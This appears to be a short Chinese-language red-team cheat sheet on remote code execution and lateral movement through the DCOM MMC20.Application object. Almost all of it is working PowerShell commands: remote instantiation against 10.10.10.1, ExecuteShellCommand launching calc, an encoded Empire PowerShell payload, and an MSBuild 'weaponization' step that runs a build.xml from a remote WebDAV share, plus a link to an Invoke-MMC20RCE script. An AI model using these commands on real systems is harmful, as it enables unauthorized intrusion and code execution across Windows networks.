通过MMC应用程序类进行DCOM

此 COM 对象 (MMC20.Application) 允许您编写 MMC 管理单元操作的组件。Document.ActiveView下有一个名为“ExecuteShellCommand”的方法。
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")

使用MSBuild武器化的例子
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
调用-MMC20RCE：https ://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1